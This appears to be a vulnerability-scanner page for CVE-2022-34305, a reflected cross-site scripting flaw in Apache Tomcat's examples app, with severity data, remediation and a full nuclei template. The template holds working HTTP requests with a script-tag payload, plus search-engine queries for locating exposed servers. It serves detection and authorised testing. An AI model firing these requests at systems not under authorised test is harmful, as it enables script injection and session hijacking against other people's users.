Apache Tomcat Examples Web Application - Cross-Site Scripting

mediumseverity

6.1CVSS score

6.7%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Apache Tomcat 8.5.50 to 8.5.81, 9.0.30 to 9.0.64, 10.0.0-M1 to 10.0.22, and 10.1.0-M1 to 10.1.0-M16 contain a reflected cross-site scripting caused by displaying unfiltered user data in the Form authentication example, letting attackers execute scripts in victim browsers, exploit requires attacker to craft malicious input.

Impact

Attackers can execute malicious scripts in victim browsers, leading to session hijacking, defacement, or redirection.

Fix

Update to the latest version of Apache Tomcat where this issue is fixed.

How to confirm it

Send: GET /examples/jsp/security/protected/index.jsp
Send: POST /examples/jsp/security/protected/j_security_check;jsessionid={{jsessionid_form}} ; GET /examples/jsp/security/protected/index.jsp?dataName=%3Cscript%3Ealert(document.domain)%3C/script%3E&dataValue=demo
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "<script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2022-34305 -u <target>

The full check

id: CVE-2022-34305

info:
  name: Apache Tomcat Examples Web Application - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Apache Tomcat 8.5.50 to 8.5.81, 9.0.30 to 9.0.64, 10.0.0-M1 to 10.0.22, and 10.1.0-M1 to 10.1.0-M16 contain a reflected cross-site scripting caused by displaying unfiltered user data in the Form authentication example, letting attackers execute scripts in victim browsers, exploit requires attacker to craft malicious input.
  impact: |
    Attackers can execute malicious scripts in victim browsers, leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to the latest version of Apache Tomcat where this issue is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2022-34305
    - https://github.com/zeroc00I/CVE-2022-34305
    - https://lists.apache.org/thread/k04zk0nq6w57m72w5gb0r6z9ryhmvr4k
    - https://security.gentoo.org/glsa/202208-34
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-34305
    cwe-id: CWE-79
    epss-score: 0.06714
    epss-percentile: 0.93979
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: tomcat
    shodan-query:
      - cpe:"cpe:2.3:a:apache:tomcat"
      - http.component:"apache tomcat"
    fofa-query: body="apache tomcat"
    google-query: site:*/examples/jsp/snp/snoop.jsp
  tags: cve,cve2022,xss,apache,tomcat,authenticated,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /examples/jsp/security/protected/index.jsp HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: jsessionid_form
        group: 1
        regex:
          - "action='j_security_check;jsessionid=([A-Z0-9]+)'"
        internal: true

  - raw:
      - |
        POST /examples/jsp/security/protected/j_security_check;jsessionid={{jsessionid_form}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        j_username={{username}}&j_password={{password}}

      - |
        GET /examples/jsp/security/protected/index.jsp?dataName=%3Cscript%3Ealert(document.domain)%3C/script%3E&dataValue=demo HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from